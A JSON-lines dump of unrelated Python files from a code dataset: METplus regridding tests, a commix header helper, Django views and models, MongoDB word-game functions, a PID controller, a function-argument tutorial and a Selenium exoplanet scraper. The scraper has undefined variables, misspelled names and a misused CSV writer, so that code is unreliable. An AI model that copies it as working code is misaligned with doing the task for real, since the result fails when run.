'ACPCP', 'obs_level': 'A03'},\n {'index': '3', 'obs_name': 'NAME_FOR_3'},\n ]\n ),\n\n # 4) 3 items from var list, 1 replaced and 4th from wrapper-specific\n ({'OBS_VAR1_NAME': 'APCP',\n 'OBS_VAR1_LEVELS': \"A06\",\n 'OBS_VAR2_NAME': 'ACPCP',\n 'OBS_VAR2_LEVELS': \"A03\",\n 'OBS_VAR3_NAME': 'ACPCP',\n 'OBS_VAR3_LEVELS': \"A02\",\n 'OBS_REGRID_DATA_PLANE_VAR3_INPUT_FIELD_NAME': 'NAME_FOR_3',\n 'OBS_REGRID_DATA_PLANE_VAR4_INPUT_FIELD_NAME': 'NAME_FOR_4',\n 'OBS_REGRID_DATA_PLANE_VAR4_INPUT_LEVEL': 'LEVEL_FOR_4'},\n [{'index': '1', 'obs_name': 'APCP', 'obs_level': 'A06'},\n {'index': '2', 'obs_name': 'ACPCP', 'obs_level': 'A03'},\n {'index': '3', 'obs_name': 'NAME_FOR_3', 'obs_level': 'A02'},\n {'index': '4', 'obs_name': 'NAME_FOR_4', 'obs_level': 'LEVEL_FOR_4'},\n ]\n ),\n\n # 5) 1 item from var list add output name\n ({'OBS_VAR1_NAME': 'APCP',\n 'OBS_VAR1_LEVELS': \"A06\",\n 'OBS_REGRID_DATA_PLANE_VAR1_OUTPUT_FIELD_NAME': 'OUT_NAME',},\n [{'index': '1', 'obs_name': 'APCP', 'obs_level': 'A06', 'obs_output_name': 'OUT_NAME'}]\n ),\n\n # 6) 3 items from var list, 1 replaced and 4th from wrapper-specific, add output name\n ({'OBS_VAR1_NAME': 'APCP',\n 'OBS_VAR1_LEVELS': \"A06\",\n 'OBS_VAR2_NAME': 'ACPCP',\n 'OBS_VAR2_LEVELS': \"A03\",\n 'OBS_VAR3_NAME': 'ACPCP',\n 'OBS_VAR3_LEVELS': \"A02\",\n 'OBS_REGRID_DATA_PLANE_VAR3_INPUT_FIELD_NAME': 'NAME_FOR_3',\n 'OBS_REGRID_DATA_PLANE_VAR4_INPUT_FIELD_NAME': 'NAME_FOR_4',\n 'OBS_REGRID_DATA_PLANE_VAR4_INPUT_LEVEL': 'LEVEL_FOR_4',\n 'OBS_REGRID_DATA_PLANE_VAR4_OUTPUT_FIELD_NAME': 'OUT_NAME_4'},\n [{'index': '1', 'obs_name': 'APCP', 'obs_level': 'A06'},\n {'index': '2', 'obs_name': 'ACPCP', 'obs_level': 'A03'},\n {'index': '3', 'obs_name': 'NAME_FOR_3', 'obs_level': 'A02'},\n {'index': '4', 'obs_name': 'NAME_FOR_4', 'obs_level': 'LEVEL_FOR_4', 'obs_output_name': 'OUT_NAME_4'},\n ]\n ),\n ]\n)\n\ndef test_get_field_info_list(metplus_config, conf_dict, expected_field_info_list):\n config = metplus_config()\n\n data_type = 'OBS'\n\n for key, value in conf_dict.items():\n config.set('config', key, value)\n\n input_dict = {'valid': datetime.datetime.strptime(\"201802010000\", '%Y%m%d%H%M'),\n 'lead': 0}\n time_info = time_util.ti_calculate(input_dict)\n\n var_list = util.parse_var_list(config, time_info, data_type=data_type)\n\n rdp = RegridDataPlaneWrapper(config)\n\n field_info_list = rdp.get_field_info_list(var_list, data_type, time_info)\n print(f\"FIELD INFO LIST: {field_info_list}\")\n print(f\"EXPECTED FIELD INFO LIST: {expected_field_info_list}\")\n is_good = True\n if len(field_info_list) != len(expected_field_info_list):\n assert(False)\n\n for actual_field, expected_field in zip(field_info_list, expected_field_info_list):\n for key, value in expected_field.items():\n if actual_field[key] != value:\n print(f\"{actual_field[key]} not equal to {value}\")\n is_good = False\n\n# field info is the input dictionary with name and level info to parse\n# expected_arg is the argument that should be set by the function\n# note: did not include OBS because they are handled the same way as FCST\n@pytest.mark.parametrize(\n 'field_info, expected_arg', [\n\n # 0) name/level\n ({'fcst_name': 'F_NAME',\n 'fcst_level': \"\\\"(1,*,*)\\\"\"},\n \"-field 'name=\\\"F_NAME\\\"; level=\\\"(1,*,*)\\\";'\"\n ),\n\n # 1) python embedding script\n ({'fcst_name': 'my_script.py some args',\n 'fcst_level': \"\"},\n \"-field 'name=\\\"my_script.py some args\\\";'\"\n ),\n\n # 2) name/level\n ({'fcst_name': 'F_NAME',\n 'fcst_level': \"A06\"},\n \"-field 'name=\\\"F_NAME\\\"; level=\\\"A06\\\";'\"\n ),\n\n # 3) name, no level\n ({'fcst_name': 'F_NAME',\n 'fcst_level': \"\"},\n \"-field 'name=\\\"F_NAME\\\";'\"\n ),\n\n # 4) python embedding script\n ({'fcst_name': 'my_script.py some args',\n 'fcst_level': \"\"},\n \"-field 'name=\\\"my_script.py some args\\\";'\"\n ),\n ]\n)\n\ndef test_set_field_command_line_arguments(metplus_config, field_info, expected_arg):\n data_type = 'FCST'\n\n config = metplus_config()\n\n rdp = RegridDataPlaneWrapper(config)\n\n rdp.set_field_command_line_arguments(field_info, data_type)\n assert(rdp.args[0] == expected_arg)\n\n@pytest.mark.parametrize(\n 'field_info, input_name, expected_name', [\n\n # 0) use fcst name\n ({'fcst_output_name': 'F_NAME'},\n \"INPUT_NAME\",\n 'F_NAME',\n ),\n\n # 1) empty fcst name, use input name\n ({'fcst_output_name': ''},\n \"INPUT_NAME\",\n 'INPUT_NAME',\n ),\n\n # 2) no fcst name, use input name\n ({'fcst_name': 'F_NAME'},\n \"INPUT_NAME\",\n 'INPUT_NAME',\n ),\n ]\n)\ndef test_get_output_name(metplus_config, field_info, input_name, expected_name):\n data_type = 'FCST'\n\n config = metplus_config()\n rdp = RegridDataPlaneWrapper(config)\n\n assert(rdp.get_output_name(field_info, data_type, input_name) == expected_name)\n\ndef test_run_rdp_once_per_field(metplus_config):\n data_type = 'FCST'\n\n input_dict = {'valid': datetime.datetime.strptime(\"201802010000\",'%Y%m%d%H%M'),\n 'lead': 0}\n time_info = time_util.ti_calculate(input_dict)\n\n var_list = [{'index': '1', 'fcst_name': 'FNAME1', 'fcst_level': 'A06'},\n {'index': '2', 'fcst_name': 'FNAME2', 'fcst_level': 'A03', 'fcst_output_name': 'OUTNAME2'},\n ]\n\n wrap = rdp_wrapper(metplus_config)\n wrap.c_dict['ONCE_PER_FIELD'] = True\n wrap.c_dict['FCST_OUTPUT_TEMPLATE'] = '{valid?fmt=%Y%m%d%H}_accum{level?fmt=%2H}.nc'\n\n wrap.c_dict['FCST_INPUT_TEMPLATE'] = '{valid?fmt=%Y%m%d%H}_ZENITH'\n wrap.c_dict['METHOD'] = 'BUDGET'\n wrap.c_dict['WIDTH'] = 2\n wrap.c_dict['VERIFICATION_GRID'] = 'VERIF_GRID'\n wrap.c_dict['FCST_OUTPUT_DIR'] = os.path.join(wrap.config.getdir('OUTPUT_BASE'),\n 'RDP_test')\n\n wrap.run_at_time_once(time_info, var_list, data_type)\n\n expected_cmds = [f\"{wrap.app_path} -v 2 -method BUDGET -width 2 -field 'name=\\\"FNAME1\\\"; \"\n \"level=\\\"A06\\\";' -name FNAME1 2018020100_ZENITH \\\"VERIF_GRID\\\" \"\n f\"{wrap.config.getdir('OUTPUT_BASE')}/RDP_test/2018020100_accum06.nc\",\n f\"{wrap.app_path} -v 2 -method BUDGET -width 2 -field 'name=\\\"FNAME2\\\"; \"\n \"level=\\\"A03\\\";' -name OUTNAME2 2018020100_ZENITH \\\"VERIF_GRID\\\" \"\n f\"{wrap.config.getdir('OUTPUT_BASE')}/RDP_test/2018020100_accum03.nc\",\n ]\n\n test_passed = True\n\n if len(wrap.all_commands) != len(expected_cmds):\n print(\"Number of commands run is not the same as expected\")\n print(f\"Actual commands: {wrap.all_commands}\\n\")\n print(f\"Expected commands: {expected_cmds}\\n\")\n assert(False)\n\n for (cmd, _), expected_cmd in zip(wrap.all_commands, expected_cmds):\n print(f\" ACTUAL:{cmd}\")\n print(f\"EXPECTED:{expected_cmd}\")\n if cmd != expected_cmd:\n test_passed = False\n\n assert(test_passed)\n\ndef test_run_rdp_all_fields(metplus_config):\n data_type = 'FCST'\n\n input_dict = {'valid': datetime.datetime.strptime(\"201802010000\",'%Y%m%d%H%M'),\n 'lead': 0}\n time_info = time_util.ti_calculate(input_dict)\n\n var_list = [{'index': '1', 'fcst_name': 'FNAME1', 'fcst_level': 'A06'},\n {'index': '2', 'fcst_name': 'FNAME2', 'fcst_level': 'A03', 'fcst_output_name': 'OUTNAME2'},\n ]\n\n wrap = rdp_wrapper(metplus_config)\n wrap.c_dict['ONCE_PER_FIELD'] = False\n wrap.c_dict['FCST_OUTPUT_TEMPLATE'] = '{valid?fmt=%Y%m%d%H}_ALL.nc'\n\n wrap.c_dict['FCST_INPUT_TEMPLATE'] = '{valid?fmt=%Y%m%d%H}_ZENITH'\n wrap.c_dict['METHOD'] = 'BUDGET'\n wrap.c_dict['WIDTH'] = 2\n wrap.c_dict['VERIFICATION_GRID'] = 'VERIF_GRID'\n wrap.c_dict['FCST_OUTPUT_DIR'] = os.path.join(wrap.config.getdir('OUTPUT_BASE'),\n 'RDP_test')\n\n wrap.run_at_time_once(time_info, var_list, data_type)\n\n expected_cmds = [f\"{wrap.app_path} -v 2 -method BUDGET -width 2 -field 'name=\\\"FNAME1\\\"; \"\n \"level=\\\"A06\\\";' -field 'name=\\\"FNAME2\\\"; level=\\\"A03\\\";' \"\n \"-name FNAME1,OUTNAME2 2018020100_ZENITH \\\"VERIF_GRID\\\" \"\n f\"{wrap.config.getdir('OUTPUT_BASE')}/RDP_test/2018020100_ALL.nc\",\n ]\n\n test_passed = True\n\n if len(wrap.all_commands) != len(expected_cmds):\n print(\"Number of commands run is not the same as expected\")\n assert(False)\n\n for (cmd, _), expected_cmd in zip(wrap.all_commands, expected_cmds):\n print(f\" ACTUAL:{cmd}\")\n print(f\"EXPECTED:{expected_cmd}\")\n if cmd != expected_cmd:\n test_passed = False\n\n assert(test_passed)\n\ndef test_set_command_line_arguments(metplus_config):\n test_passed = True\n wrap = rdp_wrapper(metplus_config)\n\n expected_args = ['-width 1',]\n\n wrap.set_command_line_arguments()\n if wrap.args != expected_args:\n test_passed = False\n print(\"Test 0 failed\")\n print(f\"ARGS: {wrap.args}\")\n print(f\"EXP: {expected_args}\")\n\n wrap.c_dict['GAUSSIAN_DX'] = 2\n\n expected_args = ['-width 1',\n '-gaussian_dx 2',\n ]\n\n wrap.args.clear()\n\n wrap.set_command_line_arguments()\n if wrap.args != expected_args:\n test_passed = False\n print(\"Test 1 failed\")\n print(f\"ARGS: {wrap.args}\")\n print(f\"EXP: {expected_args}\")\n\n wrap.args.clear()\n\n wrap.c_dict['METHOD'] = 'BUDGET'\n\n expected_args = ['-method BUDGET',\n '-width 1',\n '-gaussian_dx 2',\n ]\n\n wrap.set_command_line_arguments()\n if wrap.args != expected_args:\n test_passed = False\n print(\"Test 2 failed\")\n print(f\"ARGS: {wrap.args}\")\n print(f\"EXP: {expected_args}\")\n\n wrap.args.clear()\n\n wrap.c_dict['GAUSSIAN_RADIUS'] = 3\n\n expected_args = ['-method BUDGET',\n '-width 1',\n '-gaussian_dx 2',\n '-gaussian_radius 3',\n ]\n\n wrap.set_command_line_arguments()\n if wrap.args != expected_args:\n test_passed = False\n print(\"Test 3 failed\")\n print(f\"ARGS: {wrap.args}\")\n print(f\"EXP: {expected_args}\")\n\n wrap.args.clear()\n\n wrap.c_dict['WIDTH'] = 4\n\n expected_args = ['-method BUDGET',\n '-width 4',\n '-gaussian_dx 2',\n '-gaussian_radius 3',\n ]\n\n wrap.set_command_line_arguments()\n if wrap.args != expected_args:\n test_passed = False\n print(\"Test 4 failed\")\n print(f\"ARGS: {wrap.args}\")\n print(f\"EXP: {expected_args}\")\n\n wrap.args.clear()\n\n assert(test_passed)\n","sub_path":"internal_tests/pytests/regrid_data_plane/test_regrid_data_plane.py","file_name":"test_regrid_data_plane.py","file_ext":"py","file_size_in_byte":14207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"607066046","text":"#!/usr/bin/env python\n# encoding: UTF-8\n\n\"\"\"\n This file is part of commix (@commixproject) tool.\n Copyright (c) 2015 Anastasios Stasinopoulos (@ancst).\n https://github.com/stasinopoulos/commix\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n \n For more see the file 'readme/COPYING' for copying permission.\n\"\"\"\n\nimport re\nimport base64\n\nfrom src.utils import menu\n\n\"\"\"\n Check for added headers.\n\"\"\"\n\ndef do_check(request):\n \n # Check if defined any HTTP Host header.\n if menu.options.host:\n Host = menu.options.host\n request.add_header('Host', Host)\n \n # Check if defined any HTTP Referer header.\n if menu.options.referer:\n Referer = menu.options.agent\n request.add_header('Referer', Referer)\n \n # Check if defined any HTTP User-Agent header.\n if menu.options.agent:\n Agent = menu.options.agent\n request.add_header('User-Agent', Agent)\n \n # Check if defined any HTTP Cookie header.\n if menu.options.cookie:\n Cookie = menu.options.cookie\n request.add_header('Cookie', Cookie)\n\n # Check if defined any HTTP Basic Authentication credentials.\n if menu.options.auth_cred:\n b64_string = base64.encodestring(menu.options.auth_cred).replace('\\n', '')\n request.add_header(\"Authorization\", \"Basic \" + b64_string +\"\")\n \n # Check if defined any extra HTTP headers.\n if menu.options.headers:\n extra_headers = menu.options.headers\n extra_headers = extra_headers.split(\":\")\n extra_headers = ':'.join(extra_headers)\n extra_headers = extra_headers.split(\"\\\\n\")\n # Remove empty strings\n extra_headers = [x for x in extra_headers if x]\n for extra_header in extra_headers:\n # Extra HTTP Header name \n http_header_name = re.findall(r\"(.*):\", extra_header)\n http_header_name = ''.join(http_header_name)\n # Extra HTTP Header value\n http_header_value = re.findall(r\":(.*)\", extra_header)\n http_header_value = ''.join(http_header_value)\n request.add_header(http_header_name, http_header_value)\n\n#eof","sub_path":"src/core/requests/headers.py","file_name":"headers.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"272774742","text":"from django.shortcuts import render, redirect, HttpResponse\n\n# Create your views here.\n\ndef view_bag(request):\n ''' a view that renders the bag content'''\n return render(request, 'bag/bag.html')\n\n\ndef add_to_bag(request, item_name):\n \"\"\" Add a product/service to bag \"\"\"\n\n redirect_url = request.POST.get('redirect_url')\n bag = request.session.get('bag', {})\n\n if item_name in list(bag.keys()):\n bag[item_name]\n else:\n bag[item_name] = item_name\n\n request.session['bag'] = bag\n return render(request, 'bag/bag.html')\n\n\ndef remove_from_bag(request, item_name):\n \"\"\" remove the item from bag\"\"\"\n\n bag = request.session.get('bag', {})\n if item_name in list(bag.keys()):\n print(bag)\n bag.pop(item_name)\n print(bag)\n\n request.session['bag'] = bag\n return HttpResponse(status=200)","sub_path":"bag/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"389832244","text":"from db_operations.connection import dictionary\n\n# Variables\nwords_on_game = []\nwords_already_played = []\n\ndef create_theme(name: str, words: list) -> int:\n \"\"\"\n Esta es la función encargada de crear un nuevo tema en el juego.\n :param name: Nombre del tema.\n :param words: Palabras incluídas en el tema.\n :return: 1. Creado correctamente, 2. Problema de inserción, 3. Nombre inválido, 4.Tema ya creado\n \"\"\"\n valid_theme = True\n valid_theme &= True if \"\".join(name.strip().split()).isalpha() and len(name) > 1 else False\n\n theme_names = list(dictionary.find({'name': name.strip().title()}))\n\n valid_theme &= True if len(theme_names) == 0 else False\n\n # Verificamos las palabras ingresadas\n valid_words = []\n\n for word in words:\n valid = True\n valid &= True if word.strip().isalpha() else False\n valid &= True if len(word) > 1 else False\n\n if valid:\n ready_word = word.strip().title()\n valid_words.append(ready_word)\n\n if len(theme_names) == 0:\n if valid_theme:\n theme = {\n 'name': name.strip().title(),\n 'words': valid_words,\n 'times_used': 0\n }\n\n try:\n dictionary.insert_one(theme)\n return 1\n except:\n return 2\n else:\n return 3\n else:\n return 4\n\n\ndef get_themes() -> list:\n \"\"\"\n Esta función trae todos los temas de la base de datos.\n :return: Una lista con los nombres de cada tema.\n \"\"\"\n themes = ['Agregar tema', 'Todos los temas']\n all_themes = list(dictionary.find())\n\n for theme in all_themes:\n themes.append(theme['name'])\n\n return themes\n\n\ndef setup_words(themes: list) -> None:\n \"\"\"\n Esta función se encarga de crear un arreglo de forma local con todas las palabras\n traídas de la base de datos correspondientes a los temas activos del juego actual.\n :param themes: Una lista con los nombres de los temas en juego.\n :return: Nada\n \"\"\"\n if \"Todos los temas\" in themes:\n all_themes = list(dictionary.find())\n for theme in all_themes:\n for word in theme['words']:\n words_on_game.append(word)\n else:\n db_themes = list(dictionary.find())\n for theme in db_themes:\n if theme['name'] in themes:\n for word in theme['words']:\n words_on_game.append(word)\n\n\ndef check_word(word: str) -> int:\n \"\"\"\n Verifica si la palabra recibida está dentro de las palabras jugadas.\n :param word: Palabra ingresada por el usuario.\n :return: 1. Palabra ya jugada, 2. Palabra no jugada.\n \"\"\"\n if word.title() in words_on_game:\n return 1\n else:\n return 2\n\n\ndef is_word_played(word: str) -> int:\n \"\"\"\n Esta función recibe una palabra y verifica si dicha palabra ya fue usada en el juego.\n :param word: Palabra ingresada por el jugador\n :return: 1. Palabra no usada, 2. Palabra usada.\n \"\"\"\n if word.title() in words_already_played:\n return 2\n else:\n return 1\n\n\ndef add_word_db(word: str, theme: str) -> int:\n \"\"\"\n Esta función añade la palabra a la base de datos del tema ingresado.\n :param word: Palabra ingresada por el usuario.\n :param theme: Tema elegido por el usuario.\n :return: 1. Inserción exitosa, 2. Inserción fallida.\n \"\"\"\n\n\n db_theme = list(dictionary.find({'name': theme}))[0]\n previous_length = len(db_theme['words'])\n\n word = word.title()\n dictionary.update(\n {'name': theme},\n {'$push': {'words': word}}\n )\n\n db_theme = list(dictionary.find({'name': theme}))[0]\n after_length = len(db_theme['words'])\n\n if after_length == (previous_length + 1):\n return 1\n return 2\n\n\ndef get_words(theme: str) -> list:\n \"\"\"\n Esta función buscará en la base de datos el tema que recibe por parámetro\n y devuelve una lista con las palabras encontradas.\n :param theme: Nombre del tema a buscar.\n :return: Lista con las palabras encontradas.\n \"\"\"\n my_theme = list(dictionary.find({'name': theme}))[0]\n\n return my_theme['words']\n\n\ndef update_word_db(prev_word: str, after_word: str, theme:str) -> int:\n \"\"\"\n Esta función se encargará de modificar la palabra dada en la base de datos.\n :param prev_word: Palabra seleccionada de la base de datos por el usuario.\n :param after_word: Palabra editada y válida que se ingresará a la base de datos reemplazando el valor de prev_word.\n :param theme: Tema que contiene la palabra que se va a editar.\n :return: 1. Transacción exitosa, 2. Transacción fallida.\n \"\"\"\n\n\n try:\n dictionary.update(\n {'name': theme, 'words': prev_word},\n {'$set': {'words.$': after_word}}\n )\n return 1\n except:\n return 2\n\n\ndef delete_word_db(word: str, theme: str) -> int:\n \"\"\"\n Esta función se encarga de eliminar una palabra de la base de datos.\n :param word: Palabra a eliminar.\n :param theme: Tema del que será eliminada la palabra.\n :return: 1. Transacción exitosa, 2. Transacción fallida.\n \"\"\"\n\n try:\n dictionary.update(\n {'name': theme},\n {'$pull': {'words': word}}\n )\n return 1\n except:\n return 2\n\n\n\n\n\n\n\n\n\n","sub_path":"db_operations/themes.py","file_name":"themes.py","file_ext":"py","file_size_in_byte":5352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"136472005","text":"import time\n\nclass PIDController:\n def __init__(self, k_P, k_I, k_D, target_value = 0):\n self.k_P = k_P\n self.k_I = k_I\n self.k_D = k_D\n self.e_P = 0\n self.e_I = 0\n self.e_D = 0\n self.target_value = target_value\n self.adjusted_value = target_value\n self.last_time = None\n def send_value(self, value):\n # Check for first run\n if self.last_time == None:\n self.last_time = time.time()\n self.e_P = value - self.target_value\n return\n # Update the time difference\n new_time = time.time()\n dt = new_time - self.last_time\n self.last_time = new_time\n # Update the errors\n new_error = value - self.target_value\n self.e_D = (new_error - self.e_P) / dt\n self.e_I += new_error * dt\n self.e_P = new_error\n # Update the adjusted value\n self.adjusted_value = self.target_value - (self.k_P * self.e_P + self.k_I * self.e_I + self.k_D * self.e_D)\n","sub_path":"gnc/pid.py","file_name":"pid.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"13024452","text":"from django.db import models\nfrom django.utils.translation import ugettext_lazy as _\nfrom exeapp.models.idevices.idevice import Idevice\nfrom exeapp.models.idevices.genericidevice import GenericIdevice\nfrom exeapp.models.idevices import fields\n\nclass ClozeIdevice(GenericIdevice):\n\n group = Idevice.TEST\n name = _(\"Cloze\")\n title = models.CharField(max_length=100, default=name)\n author = _(\"University of Auckland\")\n purpose = _(\"\"\"

    Cloze exercises are texts or\n sentences where students must fill in\n missing words. They are often used for the\n following purposes:

    \n
      \n
    1. To check knowledge of core course\n concepts (this could be a pre-check,\n formative exercise, or summative check).
      2. \n
    2. To check reading comprehension.
      3. \n
    3. To check vocabulary knowledge.
      4. \n
    4. To check word formation and/or grammatical\n competence.
    \"\"\")\n emphasis = Idevice.SOMEEMPHASIS\n icon = \"icon_question.gif\"\n description = fields.RichTextField(blank=True, default=\"\",\n help_text=_(\"\"\"Provide instruction on how the cloze activity should be\ncompleted. Default text will be entered if there are no changes to this field.\n\"\"\"))\n cloze_text = fields.ClozeTextField(blank=True, default=\"\",\n help_text=_(\"\"\"Enter the text for the cloze activity in to the cloze field\nby either pasting text from another source or by typing text directly into the\nfield.To select words to hide, double click on the word to select it and\nclick on the underscore button in the toolbar.\"\"\"))\n feedback = fields.FeedbackField(blank=True, default=\"\",\n help_text=_(\"\"\"Enter any feedback you wish to provide the learner\n with-in the feedback field. This field can be left blank.\"\"\"))\n drag_n_drop = models.BooleanField(default=False)\n\n class Meta:\n app_label = \"exeapp\"\n\n","sub_path":"exeapp/models/idevices/clozeidevice.py","file_name":"clozeidevice.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"354562911","text":"# -*- coding: utf-8 -*-\nimport json\nimport requests\nfrom back.encrpyt import interfaceDes\nfrom back.log import Log\n\nclass testApi:\n def __init__(self):\n self.header1 = {'Accept': '* / *',\n 'Accept - Encoding': 'gzip, deflate, br',\n 'Accept - Language': 'zh, en - US;q = 0.9, en;q = 0.8, zh - CN;q = 0.7',\n 'Connection': 'keep - alive',\n 'Content - Type': 'text/html;charset=utf-8'\n }\n self.header2 = {'content-type': 'application/x-www-form-urlencoded', 'Access-Control-Allow-Origin': '*'}\n\n def lRequest(self, url, service, method='post', data='', headers=''): # 接口请求\n if type(service) is str: service = {\"service\": service}\n if 'webapi' in url:\n if any(data) and any(headers) is False:\n headers = self.header1\n if 'test' in url:\n data = data\n else:\n print(data)\n print(type(data))\n data = interfaceDes(data)\n else:\n if any(data) and any(headers) is False:\n headers = self.header2\n if 'test' in url:\n data = data\n else:\n data = interfaceDes(data, web_api=False)\n try:\n r = requests.request(method, url, data=data, headers=headers, params=service)\n response_code = r.status_code\n response_text1 = json.loads(r.text) # 对返回的指定字段断言，字段名取自Excel的期望2\n Log().info(' 【成功发起POST请求】 请求结果code为：%s, 请求结果字段为：%s' % (response_code, json.loads(r.text)))\n return response_code, response_text1\n except Exception as e:\n Log().error('【post请求出错】 出错原因:%s' % e)\n return {'code': 1, 'result': 'post请求出错，出错原因:%s' % e}","sub_path":"back/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":1972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"339483091","text":"from selenium import webdriver\r\nfrom bs4 import BeautifulSoup\r\nimport time\r\nimport csv\r\nimport requests\r\nSTART_URL = \"https://exoplanets.nasa.gov/exoplanet-catalog/\"\r\nbrowser = webdriver.Chrome(\"chromedriver_win32\\chromedriver.exe\")\r\nbrowser.get(START_URL)\r\ntime.sleep(10)\r\n\r\nheaders = [\"Star\", \"Constellation\", \"Right ascensation\", \"App_mag\", \"Distance\",\"hyperlink\"]\r\nplanet_data=[]\r\ndef scrap():\r\n for i in range(1,430):\r\n while True :\r\n time.sleep(2)\r\n soup = BeautifulSoup(browser.page_source, \"html.parser\")\r\n current_page_numb=int(soup.find_all(\"input\",attributes={\"class\",\"page_numb\"}).get(\"value\"))\r\n if current_page_numb < i :\r\n browser.find_element_by_xpath('//*[@id=\"primary_column\"]/footer/div/div/div/nav/span[2]/a').click()\r\n elif current_page_numb>i:\r\n browser.find_element_by_xpath('//*[@id=\"primary_column\"]/footer/div/div/div/nav/span[1]/a').click()\r\n else:\r\n break\r\n\r\n for ul_tag in soup.find_all(\"ul\", attrs={\"class\", \"exoplanet\"}):\r\n li_tags = ul_tag.find_all(\"li\")\r\n temp_list = []\r\n for index, li_tag in enumerate(li_tags):\r\n if index == 0:\r\n temp_list.append(li_tag.find_all(\"a\")[0].contents[0])\r\n else:\r\n try:\r\n temp_list.append(li_tag.contents[0])\r\n except:\r\n temp_list.append(\"\")\r\n hyerlink_li_tag=li_tags[0]\r\n temp_list.append(\"https://en.wikipedia.org/wiki/List_of_brown_dwarfs\"+hyperlink_li_tag.find_all(\"a\",href=True)[0][\"href\"])\r\n \r\n planet_data.append(temp_list)\r\n browser.find_element_by_xpath('//*[@id=\"primary_column\"]/footer/div/div/div/nav/span[2]/a').click()\r\n print(f\"{i} page done1\")\r\ndef scrap_more_data(hyperlink):\r\n try:\r\n page=request.get(hyperlink)\r\n soup=BeautifulSoup(page.content,\"html.parser\")\r\n for tr_tag in soup.find_all (\"tr\",attrs={\"class\":\"fact_rope\"}):\r\n tr_tags=tr_tags.find_all(\"td\")\r\n temp_list=[]\r\n for td_tag in td_tags:\r\n try:\r\n temp_list.append(td_tag.find_all(\"div\",attrs={\"class\",\"value\",})[0].contents[0])\r\n except:\r\n temp_list.append(\"\")\r\n new_planet_data.append(temp_list)\r\n except:\r\n time.sleep(1)\r\n scrap_more_data(hyerlink)\r\n\r\nscrap()\r\nfor data in planet_data:\r\n scrap_more_data(data[5])\r\n print(f\"{index+1} page done2\")\r\nfinal_planet_data=[]\r\n\r\nfor index,data in enumerate (planet_data):\r\n new_planet_data_element=new_planet_data_element[index]\r\n new_planet_data_element=[elem.replace(\"\\n\",\"\")for elem in new_planet_data_element]\r\n new_planet_data_element=new_planet_data_element[:7]\r\n final_planet_data.append(data+new_planet_data_element)\r\n\r\nwith open (\"final.csv\",\"w\") as f:\r\n csvwriter=csv.writer(headers)\r\n csvwriter.writerow(headers)\r\n csvwriter.writerows(final_planet_data)","sub_path":"scrapper.py","file_name":"scrapper.py","file_ext":"py","file_size_in_byte":3078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"566715022","text":"# def 函式名稱(參數名稱=預設資料):\n# 函式內部的程式碼\n#參數可給預設值 但必須放在一般參數之後\ndef say(msg=\"hello\"):\n print(msg)\nsay(\"hihi\")\nsay() #會印出預設資料 hello\n\n#名稱對應\n# def 函式名稱(名稱1, 名稱2):\n# 函式內部的程式碼\n# #呼叫函式 以參數名稱對應資料\n# 函式名稱(名稱2=3, 名稱1=5) 若不指定 要造順序給\ndef divide(n1, n2):\n result=n1/n2\n print(\"divide: \", result)\ndivide(2, 4)\ndivide(n2=2, n1=4)\n\n#無限參數\n# def 函式名稱(*無限參數) #參數名稱前面+ \"*\"等於無限參數\n# 無限參數以Tuple資料形態處理\n# 函式內部的程式碼\n# #呼叫函式，可傳入無線數量的參數\n# 函式名稱(資料1, 資料2, 資料3)\n\n#範例\n#函式接受無限參數msgs\ndef saylimit(*msgs):\n #以Tuple的方式處理\n for msgg in msgs:\n print(msgg)\nsaylimit(\"hi\", \"hihi\", \"hihihi\")\n\n\n\nprint(\"=====實際程式撰寫======\")\n#實際程式撰寫\n#參數的預設資料 和參數的名稱對應\ndef power(base, exp=0):\n print(base**exp)\npower(3,2)\npower(exp=3, base=2) #參數的名稱對應\npower(4) #預設為0 所以4的0次方為1\n\n#無限/不定量 參數資料\n#做總量平均數 但數字量不固定 avg(3,4) avg(3,5,10) avg(1,4,-1,-8)\nprint(\"做總量平均數 但數字量不固定 avg(3,4) avg(3,5,10) avg(1,4,-1,-8)\")\ndef avg(*num):\n sum = 0\n avgs = 0\n for i in num:\n sum = sum + i\n avgs = sum / len(num)\n print(avgs)\n\navg(3, 4)\navg(3, 5, 10)\navg(1 ,4, -1, -8)\n\n#另外寫法\n# def avg(*num):\n# sum = 0\n# for i in num:\n# sum = sum + i\n# print(sum / len(num))\n#\n# avg(3, 4)\n# avg(3, 5, 10)\n# avg(1 ,4, -1, -8)\n","sub_path":"learn/8_def_adv.py","file_name":"8_def_adv.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"379585071","text":"# manducaGraph\n# This function animates a beautiful movie of one or more Manducas racing along.\n# It works from a file that has saved data from a prior simulation run.\n#\n# Inputs:\n#\tmode: -\t0 means display each file as a horizontally-moving worm;\n#\t\tone file (i.e., one worm) per line in the movie. In this\n#\t\tcase, 'arg' is how many seconds the full movie should last and\n#\t\t'varargin' is an alternating list of (the name of a file of\n#\t\tworm data, followed by a label for that worm).\n#\t - 1 means display one worm only, but display it as a sequence\n#\t\tof 'arg' stills, one over the other. In this case, 'varargin'\n#\t\tis the name of exactly one file of worm data.\n#\targ, varargin: as indicated above.\n# A common call might then be\n#\tmanducaGraph (0, 20, 'C:\\users\\johnM\\matlab\\graph1.txt', 'Slow worm',\n#\t\t\t 'C:\\users\\johnM\\matlab\\graph2.txt', 'Fast worm');\n# This would display both worms (one from graph1.txt and one from 